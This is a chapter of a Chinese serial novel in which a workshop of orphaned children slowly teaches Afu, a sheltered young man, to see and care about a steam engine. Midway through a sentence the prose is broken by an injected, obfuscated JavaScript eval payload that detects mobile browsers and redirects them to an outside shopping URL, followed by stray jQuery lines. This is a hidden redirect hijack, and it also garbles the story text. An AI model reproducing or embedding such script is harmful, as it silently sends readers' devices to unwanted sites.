将作监的院子里多了一棵树。
是阿钝从城外挖回来的。一棵小槐树，才到他腰那么高，根上带着一大坨土，用草绳捆着。他把树种在院子东南角，每天浇水，比伺候那台蒸汽机还上心。
“为啥种树？”狗子问他。
阿钝想了想。
“师父说，树活着，人看着，就不怕。”
狗子不懂。
但他每天路过那棵树的时候，会停下来看一眼。
看一眼，然后继续走。
那天下午，冯道来了。
他没翻墙，是从正门走进来的。穿着一身家常的袍子，没戴官帽，头发随意地挽着，像个普通老头。
但这一次，他不是一个人来的。
身后跟着一个年轻人，二十出头，穿着青布袍子，低着头，不说话。他站在冯道身后，像一截木头。
李默迎出去，看见那个年轻人，愣了一下。
“相国，这是……”
冯道摆了摆手。
“进去说。”
他们进了屋。那个年轻人站在门口，没进来。
冯道坐下，接过阿箬递来的水，喝了一口。
“铁路修成了？”他问。
李默点了点头。
冯道没说话。他看着窗外那台蒸汽机，看着那些蹲在旁边看机器的孩子，看着阿钝在最前面指着零件一个一个地教。
他看了很久。
然后他指着门口那个年轻人。
“这一个，”他说，“留下。”
李默愣住了。
“相国……”
冯道站起来，走到窗边。
“他叫阿福。”他说，“我养了十二年。”
李默等着他说下去。
冯道没说。
他只是看着窗外，看着那棵小槐树。
“阿钝种的？”他问。
李默点了点头。
冯道笑了笑。
“挺好。”他说。
他转过身，往外走。
走到门口，在那个年轻人身边停下来。
“进去。”他说。
年轻人抬起头，看了他一眼。
冯道没看他。
他走了。
阿福站在院子里，看着那台蒸汽机。
石头走过来，站在他旁边。
“你叫什么？”
“阿福。”
石头点了点头。
“我叫石头。”
阿福没说话。
石头又问：“你会擦骨头吗？”
阿福摇头。
石头从狗子那里拿了一块骨头，递给他。
“擦。”他说，“慢慢地擦。”
阿福接过那块骨头，看着它，不知道该怎么办。
石头拿起布，示范给他看。
“这样。”
阿福跟着擦。
一下，一下，一下。
很慢，很轻。
阳光照在他脸上，照出一层淡淡的光。
那天夜里，李默坐在院子里，看着那棵小槐树。
阿箬走过来，在他旁边坐下。
“冯道走了？”
李默点了点头。
阿箬看着那个新来的年轻人住的屋子。
“那个阿福，”她说，“跟别人不一样。”
李默没说话。
阿箬继续说：
“他来的时候，身上有书卷气。”
李默转过头，看着她。
“什么叫书卷气？”
阿箬想了想。
“就是，”她说，“他没饿过。”
李默愣了一下。
阿箬看着那棵树。
“石头刚来的时候，身上有野气。狗子刚来的时候，身上有死气。阿钝刚来的时候，身上有怕气。”
她顿了顿。
“阿福身上，什么都没有。”
李默没说话。
他看着那棵树，看着月光照在叶子上。
“冯道说，他养了十二年。”他说。
阿箬问：“养什么？”
李默想了想。
“养活着。”他说，“但没教会活。”
阿箬没说话。
过了很久，她忽然开口。
“那咱们教。”
李默转过头，看着她。
月光下，她的眼睛里有光。
“和石头一样。和狗子一样。和阿钝一样。”
她站起来。
“他们能学会，他也能。”
她走了。
李默坐在那儿，看着她的背影，看了很久。
远处传来打更的声音。
“咚——咚——咚——”
三更了。
风吹过来，那棵小槐树的叶子沙沙响。
第二天早上，阿钝起来浇水。
他走到那棵树旁边，提着桶，一点一点地浇。水渗进土里，滋滋响。
阿福站在旁边，看着他。
“你在干什么？”他问。
阿钝抬起头。
“浇水。”
“为什么浇水？”
阿钝想了想。
“因为，”他说，“它活着。”
阿福愣了一下。
他看着那棵树，看了很久。
然后他伸出手，摸了摸那些叶子。
叶子是绿的，嫩的，摸上去有点凉。
“它疼吗？”他问。
阿钝摇了摇头。
“不疼。”他说，“它活着。”
阿福没说话。
但他站在那儿，看着那棵树，看了很久。
直到阿钝浇完水，提着桶走了。
他还站在那儿。
阳光照在他脸上，照出一层淡淡的光。
狗子走过来，蹲在他旁边。
“你看什么？”他问。
阿福想了想。
“看它活着。”他说。
狗子点了点头。
他也在旁边蹲下来。
两个人蹲在那儿，看着那棵树。
谁都没说话。
___
那个夏天，将作监多了十七个孩子。
大的十五六，小的七八岁。有的会打铁，有的会烧火，有的什么都不会，只会哭。
阿钝每天带着他们，蹲在蒸汽机旁边看。看那些轮子转，看那些零件动，看那些管子冒气。
狗子每天带着他们，擦骨头。那些小小的骨头，被擦得越来越亮，像玉一样。
石头每天跟着狗子，也不说话，就是跟着。
阿箬每天站在远处，看着他们。
还有一个人，站在更远处。
阿福。
他不蹲着看机器，也不擦骨头。他就站在院子角落那棵小槐树旁边，看着那些人，看着那些孩子，看着那台会动的铁家伙。
一站就是半天。
阿钝浇树的时候，他会往旁边让一让。阿钝浇完了，他又站回去。
谁也不知道他在想什么。
---
有一天，石头走到他旁边。
“你怎么不来看机器？”石头问。
阿福想了想。
“不知道看什么。”他说。
石头指着那台蒸汽机。
“看那个。”他说，“轮子转。活塞动。管子冒气。”
阿福看着那台机器，看了很久。
轮子在转。活塞在动。管子冒着气。
他看见了。
但他不知道这有什么好看的。
石头蹲下来，他也蹲下来。
两个人蹲在那棵小槐树旁边，看着远处的机器。
石头看得很认真。
阿福看得很茫然。
过了很久，石头忽然问：
“你饿过吗？”
阿福愣了一下。
“什么？”
“饿过吗？”石头又问了一遍，“肚子疼的那种饿，像有东西在咬的那种饿。”
阿福想了想。
“没有。”他说。
石头点了点头。
“怪不得。”他说。
他站起来，走了。
阿福蹲在那儿，看着他的背影，很久没动。
---
那天晚上，阿箬来找李默。
“那个阿福，”她说，“一直站在树旁边。”
李默放下手里的图纸。
“站多久了？”
“从早上到现在。”阿箬说，“中午吃了饭，又站回去。”
李默沉默了一会儿。
“他想干什么？”
阿箬摇了摇头。
“不知道。”她说，“但石头说，他没饿过。”
李默愣了一下。
他想起冯道说的话。
“我养了他十二年。读书，写字，算数，他都学会了。但他不会活。”
不会活的人，站在树旁边，看了一天。
他在看什么？
李默站起来，走到院子里。
阿福还站在那棵小槐树旁边。月光照在他身上，照出一层淡淡的银光。
李默走过去，在他旁边站下。
阿福没看他。只是看着那些孩子睡觉的屋子。
“看什么？”李默问。
阿福想了想。
“看他们。”他说。
“看他们什么？”
阿福沉默了很久。
“看他们怎么睡。”他说，“石头睡觉的时候，攥着狗子的衣角。狗子睡觉的时候，抱着那个包袱。阿钝睡觉的时候，缩成一团。”
他顿了顿。
“我睡觉的时候，不这样。”
李默没说话。
阿福转过头，看着他。
“我错了吗？”
李默看着他。
月光下，那张脸很干净，没有疤，没有泪痕，没有那些孩子脸上都有的东西。
“没错。”李默说。
阿福愣了一下。
“那他们为什么那样睡？”
李默想了想。
“因为他们怕。”他说，“怕睡着了，就没了。”
阿福看着他。
“没了是什么意思？”
“死了。”李默说，“没了就是死了。”
阿福沉默了很久。
然后他说：
“我没怕过。”
李默没说话。
阿福又看着那些屋子。
“石头说，我没饿过。”他说，“所以他看机器，我看不懂。”
他顿了顿。
“他看机器的时候，眼睛里有什么东西。我没有。”
李默站在那里，听着这些话。
他想起阿钝刚来的时候。那时候阿钝蹲在矿里，眼睛亮亮的，说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401624|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“咱们认识认识，万一哪天一块儿死了，也算有个伴”。
他想起狗子刚来的时候。那时候狗子抱着那个包袱，问他“你认识我妹妹吗”。
他想起石头刚来的时候。那时候石头一句话不说，晚上睡觉攥着狗子的衣角。
他们眼睛里都有东西。
阿福眼睛里没有。
不是因为不想有。
是因为没有东西让他有。
“阿福。”李默说。
阿福看着他。
“明天开始，”李默说，“你跟着阿钝。”
“干什么？”
“看机器。”李默说，“看一天。看两天。看一个月。看到你眼睛里也有东西为止。”
阿福没说话。
但他点了点头。
---
第二天早上，阿钝来浇树的时候，看见阿福站在树旁边。
“你又站这儿？”阿钝问。
阿福摇了摇头。
“等你。”他说。
阿钝愣了一下。
“等我干啥？”
阿福说：“李叔让我跟着你看机器。”
阿钝看着他，看了很久。
然后他笑了。
“行。”他说，“跟着吧。”
他浇完树，提着桶往蒸汽机那边走。
阿福跟在后面。
阿钝在最前面蹲下来，阿福在他旁边蹲下。
那些孩子围过来，也蹲下。
阿钝指着那些零件，一个一个地教。
“这个是飞轮。转起来的时候，带着别的轮子转。”
“这个是活塞。它一动，机器就有劲了。”
“这个是汽缸。汽缸里面是热的，不能摸，烫手。”
阿福听着，看着。
轮子在转。活塞在动。管子冒着气。
他看见了。
但他还是不知道这有什么好看的。
他转过头，看着阿钝。
阿钝的眼睛盯着那台机器，一动不动。他的眼睛里有光，很亮。
阿福又看看那些孩子。
他们的眼睛也盯着那台机器，也有光。
阿福再看那台机器。
还是那些轮子，那些活塞，那些管子。
他低下头，看着自己的手。
手上什么都没有。
---
那天晚上，阿钝来找李默。
“师父。”
“嗯。”
“那个阿福，”阿钝说，“他看了一天，什么反应都没有。”
李默没说话。
阿钝继续说：
“石头第一天看机器，就问问题。狗子第一天看机器，就蹲着不动。阿箬姐第一天看机器，就看出哪里歪了。”
他顿了顿。
“阿福什么反应都没有。他就像……就像在看一面墙。”
李默看着他。
“你觉得他怎么了？”
阿钝想了想。
“不知道。”他说，“但他眼睛里没东西。”
李默点了点头。
“继续带。”他说，“带到他眼睛里有东西为止。”
阿钝看着他。
“师父，他眼睛里的东西，能长出来吗？”
李默沉默了一会儿。
“能。”他说，“慢慢长。”
---
那个夏天，阿福每天跟着阿钝看机器。
看轮子转，看活塞动，看管子冒气。
看了半个月。
有一天，阿钝正在讲的时候，阿福忽然开口。
“那个轮子，”他说，“是不是歪了？”
阿钝愣了一下。
他顺着阿福指的方向看过去。
那个飞轮，确实歪了一点。歪得很小，不仔细看看不出来。
阿钝盯着那个飞轮，又盯着阿福。
“你怎么看出来的？”
阿福想了想。
“不知道。”他说，“就是觉得它……不对。”
阿钝站起来，跑去找李默。
“师父！师父！阿福看出轮子歪了！”
李默跟着他走过来，站在阿福面前。
“哪个轮子？”
阿福指着那个飞轮。
“那个。”
李默蹲下来，仔细看了看。
确实歪了。
他站起来，看着阿福。
阿福也看着他。
那双眼睛里，还是什么都没有。
但有什么东西，在动的边缘。
李默点了点头。
“看见了？”他问。
阿福想了想。
“看见了。”他说。
“什么感觉？”
阿福沉默了很久。
然后他说：
“好像……有点不一样了。”
李默没说话。
他伸出手，在阿福头上按了一下。
阿福愣了一下。
他没躲。
远处，夕阳正在落下去，把天边烧成一片红。
那些孩子还蹲在蒸汽机旁边，看着那些轮子转。
阿钝蹲在最前面，狗子蹲在他旁边，石头蹲在狗子旁边。
阿福站在他们后面，也看着。
他眼睛里还是什么都没有。
但那些轮子的倒影，映在里面。
亮亮的。